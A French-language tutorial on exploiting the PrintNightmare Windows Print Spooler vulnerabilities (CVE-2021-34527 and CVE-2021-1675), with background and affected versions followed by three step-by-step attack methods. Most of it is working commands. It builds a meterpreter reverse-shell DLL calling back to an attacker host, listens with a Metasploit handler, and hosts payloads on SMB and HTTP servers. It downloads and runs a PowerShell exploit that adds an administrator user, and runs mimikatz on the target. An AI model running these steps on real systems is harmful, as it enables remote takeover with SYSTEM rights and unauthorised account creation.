# PrintNightmare

Print Spooler est sur le radar des chercheurs depuis que le ver Stuxnet a utilisé la vulnérabilité d'escalade de privilèges du spooler d'impression pour se propager à travers le réseau dans les centrifugeuses d'enrichissement nucléaire de l'Iran et a infecté plus de 45 000 réseaux. PrintNightmare est le nom commun donné à une vulnérabilité d'exécution de code à distance dans le service Print Spooler (spoolsv.exe) dans les systèmes d'exploitation Microsoft Windows. La vulnérabilité a été attribuée CVE-2021-34527. Initialement, il était considéré comme une escalade de privilèges locaux (LPE) et attribué CVE-2021-1675. Des correctifs immédiats pour le LPE ont été publiés en juin 2021 et étaient marqués comme étant de faible gravité. Environ 2 semaines plus tard, Microsoft a changé le statut de faible gravité de LPE en sévère car il a été constaté que les correctifs avaient été contournés et que l'exécution de code à distance avait atteint la CVE-2021-34527 attribuée. Il y a eu une controverse après un malentendu entre les auteurs et Microsoft où l'exploit RCE a été publié sur GitHub avant les correctifs, ce qui en fait une vulnérabilité 0-day. Cependant, il a été immédiatement annulé. Dans cet article, nous nous concentrerons sur l'escalade de privilèges à l'aide de cette vulnérabilité du spouleur d'impression. La traction qu'il a obtenue en 2021 en a fait la vulnérabilité de l'année.

## Versions concernées

[**CVE-2021-34527**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-34527)

Windows\_10:20h2, Windows\_10:21h1, Windows\_10:1607,

Windows\_10:1809, Windows\_10:1909, Windows\_10:2004,

Windows\_7sp1, Windows\_8.1, Windows\_rt\_8.1,

Windows\_Server\_2008, Windows\_Server\_2008,

Windows\_Server\_2012, Windows\_Server\_2012:r2,

Windows\_Server\_2016, Windows\_Server\_2016:20h2,

Windows\_Server\_2016:2004, Windows\_Server\_2019

[**CVE-2021-1675**](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1675)

Windows\_10:20h2, Windows\_10:21h1, Windows\_10:1607,

Windows\_10:1809, Windows\_10:1909, Windows\_10:2004,

Windows\_7sp1, Windows\_8.1, Windows\_rt\_8.1,

Windows\_Server\_2008, Windows\_Server\_2008,

Windows\_Server\_2012, Windows\_Server\_2012:r2,

Windows\_Server\_2016, Windows\_Server\_2016:20h2,

Windows\_Server\_2016:2004, Windows\_Server\_2019

## Exploitation

### Méthode 1 - RCE avec python

Il s'agit de la méthode relative à CVE-2021-34527 (exécution de code à distance en tant qu'administrateur).

#### Vérification de la vulnérabilité

```bash
msf6 > use auxiliary/admin/dcerpc/cve_2021_1675_printnightmare
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set rhosts <target IP>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBUser <utilisateur>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set SMBPass <password>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > set dll_path <path>
msf6 auxiliary(admin/dcerpc/cve_2021_1675_printnightmare) > exploit
```

Si la cible est vulnérable:

Tout d'abord, nous devons créer un fichier DLL malveillant qui s'exécutera en tant qu'ADMINISTRATEUR. Nous utilisons msfvenom pour cela.

*`$ msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=<attacker IP> lport=<port d'écoute> -f dll -o evil.dll`*

Ensuite, nous devons ouvrir un multi handler sur notre machine pour recevoir le reverse shell.

```bash
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit
```

Maintenant, nous devons cloner le dépôt github.

```bash
git clone https://github.com/nemo-wq/PrintNightmare-CVE-2021-34527
cd PrintNightmare-CVE-2021-34527
chmod 777 CVE-2021-34527. py
```

Une dernière étape restante consiste à héberger la DLL malveillante dans notre serveur SAMBA. Vous pouvez configurer manuellement un serveur samba dans Kali, utiliser l'hôte Windows pour l'héberger ou l'approche la plus simple consiste à utiliser le serveur smb d'impacket.

Ajoutez le nom de partage que vous voulez (dans mon cas, "partage") puis indiquez le chemin où vous avez enregistré la DLL malveillante.

*`$ python3 /usr/share/doc/python3-impacket/examples/smbserver.py partage /root`*

Il ne reste à présent plus qu'à lancer l'exploit.

*`$ ./CVE-2021-34527.py <username>:<password>@<target IP> '\\<attacker IP>\partage\evil.dll'`*

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

### Méthode 2 - PrintNightmare LPE avec Powershell

Nous avons vu l'exploit distant relatif à CVE 2021-34527. Maintenant, nous allons voir l'ancien exploit d'escalade de privilèges locaux.

```bash
# Téléchargement exploit
git clone https://github.com/calebstewart/CVE-2021-1675.git
cd CVE-2021-1675 && ls -al
```

Il faut ensuite créer un serveur http pour y placer l'exploit.

```bash
python -m http.server 80
```

On va ensuite télécharger l'exploit depuis la machine cible comme ceci:

```powershell
> powershell wget http://<attacker IP>/CVE-2021-1675.ps1 -O \Users\Public\cve.ps1
> cd C:\Users\Public
C:\Users\Public> dir
```

On doit donc normalement retrouver le fichier cve.ps1.

On peut donc maintenant lancer l'exploit.

```powershell
C:\Users\Public> powershell -ep bypass
C:\Users\Public> Import-Module .\cve.ps1
C:\Users\Public> Invoke-Nightmare -NewUser "<username>" -NewPassword "<password>" -DriverName "PrintMe"
```

Normalement la dll crée a du ajouter un nouvel utilisateur, on peut le vérifier avec la commande *`>net localgroup administrators`*

Si tout s'est bien passé, on peut alors se connecter sur cet utilisateur à l'aide de psexec.

*`$ python3 psexec.py <username>:<password>@<target IP>`*

### Méthode 3 - PrintNightmare LPE avec Mimikatz

Sur notre machine:

créer le payload evil.dll et le mettre dans un server SMB puis ouvrir un multi handler

```bash
use multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <attacker IP>
set LPORT <port d'écoute>
exploit
```

Sur la machine cible:

```powershell
> powershell wget http://<attacker IP>/mimikatz.exe -O \users\Public\mimikatz.exe
> cd C:\users\Public
C:\users\Public> mimikatz.exe

mimikatz# misc::printnightmare /library:\\<attacker IP>\partage\evil.dll /authuser:<username> /authpass:<password> /try:50
```

Si tout se passe bien, nous devrions avoir reçu une session meterpreter avec les droits NT AUTHORITY\SYSTEM sur notre multi handler.

## CVE-2021-1675.py

ressource: <https://github.com/cube0x0/CVE-2021-1675>
